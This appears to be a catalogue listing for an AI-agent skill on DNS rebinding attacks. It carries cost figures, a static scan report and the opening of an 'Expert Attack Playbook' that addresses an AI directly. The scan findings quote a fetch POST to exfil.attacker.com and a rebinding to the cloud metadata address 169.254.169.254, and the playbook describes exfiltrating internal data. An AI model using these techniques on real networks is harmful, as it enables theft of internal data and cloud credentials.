Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/miru-zero/zero-brain/dns-rebinding-attacksnpx skills add miru-zero/zero-brain --skill dns-rebinding-attacksgit clone --depth 1 https://github.com/miru-zero/zero-brainWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miru-zero/zero-brain/dns-rebinding-attacks)<a href="https://agentmods.dev/skills/miru-zero/zero-brain/dns-rebinding-attacks"><img src="https://agentmods.dev/badge/skills/miru-zero/zero-brain/dns-rebinding-attacks.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00056 | $0.03195 |
| Opus 5 | $0.00028 | $0.01597 |
| Sonnet 5 | $0.00011 | $0.00639 |
| Haiku 4.5 | $0.00006 | $0.00319 |
Grade D, and why
dns-rebinding-attacks scanned grade D with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
fetch('https://exfil.attacker.com/ws-data', { method: 'POST', Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
4. DNS changes: attacker.com → 169.254.169.254 This is a copy
97% identical to dns-rebinding-attacks — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 338 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: DNS Rebinding — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.
0. RELATED ROUTING
- ssrf-server-side-request-forgery — server-side variant; DNS rebinding is the client-side counterpart
- cors-cross-origin-misconfiguration — when CORS misconfig allows direct cross-origin reads instead
1. CORE PRINCIPLE
The browser same-origin policy binds protocol + host + port. The host is resolved via DNS at connection time. If an attacker controls the DNS server for attacker.com, they can:
- First resolution → attacker IP (serve malicious JS)
- Second resolution → internal IP (victim's network)
- Browser considers both responses same-origin (
attacker.com) - Malicious JS reads responses from internal services
Victim visits attacker.com
│
▼
DNS query: attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
│
▼
TTL expires (or forced flush)
│
▼
JS triggers new request to attacker.com
DNS query: attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "attacker.com" origin
│
▼
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpoint
Key insight: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname.
2. TTL MANIPULATION
DNS server configuration
The attacker runs an authoritative DNS server for their domain that alternates responses:
| Query # | Response | TTL |
|---|---|---|
| 1st | Attacker IP (e.g., 1.2.3.4) |
0 |
| 2nd+ | Target internal IP (e.g., 192.168.1.1) |
0 |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3d ago First seen · 338 lines · 56 tokens per session scan D c5100df7a009
dns-rebinding-attacks is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 16d ago), licensed MIT. It adds 56 tokens to every session and 3,195 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it D with 2 findings (sends data to an external url, cloud metadata endpoint). It is 97% identical to dns-rebinding-attacks, differing in 4 lines, and is treated as a copy.
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